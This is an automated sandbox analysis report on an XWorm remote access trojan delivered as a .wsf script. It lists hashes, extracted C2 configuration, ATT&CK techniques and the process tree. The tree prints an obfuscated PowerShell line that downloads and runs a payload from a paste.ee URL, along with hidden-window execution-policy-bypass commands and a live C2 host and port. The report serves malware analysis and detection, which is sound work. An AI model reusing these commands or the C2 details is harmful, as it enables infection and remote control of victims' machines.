xworm | 4906ba33082206f0c7bdfb19b30c3321f37318a9da7463d773250ab04f8ec18e

Analysis

max time kernel
95s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25/09/2024, 01:39

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General

Target

New_Document-660103261859.wsf
Size

3KB
MD5

a017aaab564ce9665269dec051f54d18
SHA1

c204ae4df36798a80c3642a25e229901d656afce
SHA256

f7a0691d6df4295e5a8165ebad02b7db0be5d1cdb63ba280bd59d6d689e0ed51
SHA512

786b23d937e339808eb744e9e27128ef9a6e1fbe30c8ea8c3ccca7425dd56bc5f720d36da1a05db2658bd333a05260d05cf9402bf99f880135d4c0aa6819f78f

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

TANTA0Y.WORK.GD:7000

Mutex

vFAJsxkUeYzisV3m

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral12/memory/2088-50-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	3344	powershell.exe
20	3344	powershell.exe
22	3344	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
432	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	api.ipify.org
20	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 432 set thread context of 2088	432	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3344	powershell.exe
3344	powershell.exe
2640	powershell.exe
2640	powershell.exe
432	powershell.exe
432	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeIncreaseQuotaPrivilege	3344	powershell.exe
Token: SeSecurityPrivilege	3344	powershell.exe
Token: SeTakeOwnershipPrivilege	3344	powershell.exe
Token: SeLoadDriverPrivilege	3344	powershell.exe
Token: SeSystemProfilePrivilege	3344	powershell.exe
Token: SeSystemtimePrivilege	3344	powershell.exe
Token: SeProfSingleProcessPrivilege	3344	powershell.exe
Token: SeIncBasePriorityPrivilege	3344	powershell.exe
Token: SeCreatePagefilePrivilege	3344	powershell.exe
Token: SeBackupPrivilege	3344	powershell.exe
Token: SeRestorePrivilege	3344	powershell.exe
Token: SeShutdownPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeSystemEnvironmentPrivilege	3344	powershell.exe
Token: SeRemoteShutdownPrivilege	3344	powershell.exe
Token: SeUndockPrivilege	3344	powershell.exe
Token: SeManageVolumePrivilege	3344	powershell.exe
Token: 33	3344	powershell.exe
Token: 34	3344	powershell.exe
Token: 35	3344	powershell.exe
Token: 36	3344	powershell.exe
Token: SeIncreaseQuotaPrivilege	3344	powershell.exe
Token: SeSecurityPrivilege	3344	powershell.exe
Token: SeTakeOwnershipPrivilege	3344	powershell.exe
Token: SeLoadDriverPrivilege	3344	powershell.exe
Token: SeSystemProfilePrivilege	3344	powershell.exe
Token: SeSystemtimePrivilege	3344	powershell.exe
Token: SeProfSingleProcessPrivilege	3344	powershell.exe
Token: SeIncBasePriorityPrivilege	3344	powershell.exe
Token: SeCreatePagefilePrivilege	3344	powershell.exe
Token: SeBackupPrivilege	3344	powershell.exe
Token: SeRestorePrivilege	3344	powershell.exe
Token: SeShutdownPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeSystemEnvironmentPrivilege	3344	powershell.exe
Token: SeRemoteShutdownPrivilege	3344	powershell.exe
Token: SeUndockPrivilege	3344	powershell.exe
Token: SeManageVolumePrivilege	3344	powershell.exe
Token: 33	3344	powershell.exe
Token: 34	3344	powershell.exe
Token: 35	3344	powershell.exe
Token: 36	3344	powershell.exe
Token: SeIncreaseQuotaPrivilege	3344	powershell.exe
Token: SeSecurityPrivilege	3344	powershell.exe
Token: SeTakeOwnershipPrivilege	3344	powershell.exe
Token: SeLoadDriverPrivilege	3344	powershell.exe
Token: SeSystemProfilePrivilege	3344	powershell.exe
Token: SeSystemtimePrivilege	3344	powershell.exe
Token: SeProfSingleProcessPrivilege	3344	powershell.exe
Token: SeIncBasePriorityPrivilege	3344	powershell.exe
Token: SeCreatePagefilePrivilege	3344	powershell.exe
Token: SeBackupPrivilege	3344	powershell.exe
Token: SeRestorePrivilege	3344	powershell.exe
Token: SeShutdownPrivilege	3344	powershell.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeSystemEnvironmentPrivilege	3344	powershell.exe
Token: SeRemoteShutdownPrivilege	3344	powershell.exe
Token: SeUndockPrivilege	3344	powershell.exe
Token: SeManageVolumePrivilege	3344	powershell.exe
Token: 33	3344	powershell.exe
Token: 34	3344	powershell.exe
Token: 35	3344	powershell.exe
Token: 36	3344	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 3344	2776	WScript.exe	81
PID 2776 wrote to memory of 3344	2776	WScript.exe	81
PID 3344 wrote to memory of 2640	3344	powershell.exe	85
PID 3344 wrote to memory of 2640	3344	powershell.exe	85
PID 2404 wrote to memory of 3952	2404	WScript.exe	95
PID 2404 wrote to memory of 3952	2404	WScript.exe	95
PID 3952 wrote to memory of 3584	3952	cmd.exe	97
PID 3952 wrote to memory of 3584	3952	cmd.exe	97
PID 3584 wrote to memory of 432	3584	cmd.exe	98
PID 3584 wrote to memory of 432	3584	cmd.exe	98
PID 432 wrote to memory of 2088	432	powershell.exe	99
PID 432 wrote to memory of 2088	432	powershell.exe	99
PID 432 wrote to memory of 2088	432	powershell.exe	99
PID 432 wrote to memory of 2088	432	powershell.exe	99
PID 432 wrote to memory of 2088	432	powershell.exe	99
PID 432 wrote to memory of 2088	432	powershell.exe	99
PID 432 wrote to memory of 2088	432	powershell.exe	99
PID 432 wrote to memory of 2088	432	powershell.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\New_Document-660103261859.wsf"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ReDrO = [STRINg]::jOIn('' , ( ( 24,52 ,'3d', 27, 49 , 65, 58 ,28, '4e' ,65 ,27,'3b', 24 , 52,45 , 20, '3d' ,20, 24 ,52,'2b' ,27 ,57, '2d' ,'4f' , 42 ,'4a',27 ,'3b',24 , 52, 45 ,44 ,20 ,'3d' ,20,24 ,52, 45,'2b',27 ,65,43, 54 , 20 , '4e' , 65 ,54 ,'2e' , 57,27,'3b',24, 50,41,43 , '3d' ,27 , 65 , 42 , 43 , '4c',27,'3b' , 24 , 78 ,78 ,20,'3d',20 ,24,50 ,41 ,43,'2b' , 27 ,49 , 65, '4e' , 27 , '3b',24, 52, '4f' , 20,'3d' , 20 ,24, 78, 78 ,'2b' ,27,54 , 29 ,'2e', 44, '4f' , 57, '4e','4c','4f',27, '3b' ,24,'7a', '7a', '3d' ,27 ,'4f' ,40,30, 28 , 26, 28 ,27 , 27,68 , 74 ,74 ,70 ,73, '3a','2f' , '2f',70,61,73,74 ,65, '2e' ,65 ,65,'2f',72, '2f',79, 45, 55 , '4d',51,'2f' , 30,27,27 ,29 ,27 , '2e', 52,65,50 , '4c' ,41 , 43, 65, 28 ,27,'4f', 40 , 30, 28, 26 , 27,'2c' ,27 , 41, 44,53 , 54 ,52, 49 ,'4e' ,47,27,29 ,'3b' , 69,65,78,28, 24 ,52 ,45 , 44, '2b' , 24 ,52 , '4f','2b', 24,'7a' ,'7a',29 ) |foREAcH-Object{( [CONVeRT]::ToiNt16(([sTrING]$_ ),16) -AS[CHaR])})) |& ( $ShEllid[1]+$SheLLID[13]+'x') ; powershell $ReDrO"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "MSFT_ScheduledTask (TaskName = "MicroSoftVisualsUpdater", TaskPath = "\")"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2640

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\Music\Visuals\VsLabs.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\cmd.exe
    cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:432
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\Music\Visuals\VsEnhance.bat

Filesize
144B

MD5
c3f2ca9b3ea3da4f346900dffdb028c1

SHA1
b0f2b20b6789958fa42e41949ace44875358cdd1

SHA256
fe4ed5dc25a2f658d48413b7c3badea8ad3d82885b5d59192833071a67f58ec4

SHA512
9abb200cef06ac9428930d31f84976dbec8abb5f0411906d60030dac503f967136c9f4410ca0bfc158d940799db95162071e3088cb581fcd625e9f509fbef1a5

Download Submit
C:\ProgramData\Music\Visuals\VsLabs.vbs

Filesize
171B

MD5
3f6de49cf708411dd235d9021dba2b90

SHA1
ce36ca1a36a7e52351a34223f8f4dac3182a5dfb

SHA256
0a94db5411a2faa6c82ba90aeba60f7c018a80c77f2adf3fc1f0982890dcc712

SHA512
2a28b411a5bb322a7a18b94947255ee7f78bc62de401c602edf849d10914696d4883867b9336c3207d8bb4117af047542e721eb23030d1b1c2e64ae72d27f938

Download Submit
C:\ProgramData\Music\Visuals\VsLabsData.ps1

Filesize
322KB

MD5
b0075a19a856734533f722043e051550

SHA1
0f86492b16a0f839261ad809b473bfc6b53cc407

SHA256
a531f92b31f469f4e82bd5787ddc111d46aca951d07561a82e7ec6ce1e85595a

SHA512
3da9dfebaf73040d7a67f65b3d4f22708d1fed59b430238ab08056bd5c9de194b53a192ab01ec3f6b9d02395785069134a4df7d55182f74334cf50d28b93b625

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1e2ba98850274b15c81347fb3d2055f8

SHA1
a82705a3c01a95582cde97d02997f0fb9945bfae

SHA256
8661ee31d0d1c2242a7d100958c504523caabd7709b67ad02fc2dc64e91f9a5f

SHA512
b6a8d1752023a3fcfdff4c50e1e5f2420b67bec808a83ad8210fa8a75437d3466ca613908c9d8d7802a0c36aeb607d603aa6b4d355c4ef6009a267d1bee440d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sl4cpvpg.ezw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/432-49-0x00000177481B0000-0x00000177481CA000-memory.dmp

Filesize
104KB

Download
memory/2088-55-0x00000000070C0000-0x0000000007664000-memory.dmp

Filesize
5.6MB

Download
memory/2088-54-0x0000000006A70000-0x0000000006B02000-memory.dmp

Filesize
584KB

Download
memory/2088-53-0x0000000006070000-0x00000000060D6000-memory.dmp

Filesize
408KB

Download
memory/2088-52-0x0000000005990000-0x0000000005A2C000-memory.dmp

Filesize
624KB

Download
memory/2088-50-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/3344-20-0x00007FFAA9D20000-0x00007FFAAA7E1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-11-0x00007FFAA9D20000-0x00007FFAAA7E1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-35-0x00007FFAA9D20000-0x00007FFAAA7E1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-1-0x000002BB59180000-0x000002BB591A2000-memory.dmp

Filesize
136KB

Download
memory/3344-12-0x00007FFAA9D20000-0x00007FFAAA7E1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-0-0x00007FFAA9D23000-0x00007FFAA9D25000-memory.dmp

Filesize
8KB

Download
memory/3344-13-0x00007FFAA9D20000-0x00007FFAAA7E1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-19-0x00007FFAA9D20000-0x00007FFAAA7E1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-18-0x00007FFAA9D23000-0x00007FFAA9D25000-memory.dmp

Filesize
8KB

Download
memory/3344-17-0x000002BB5A240000-0x000002BB5A402000-memory.dmp

Filesize
1.8MB

Download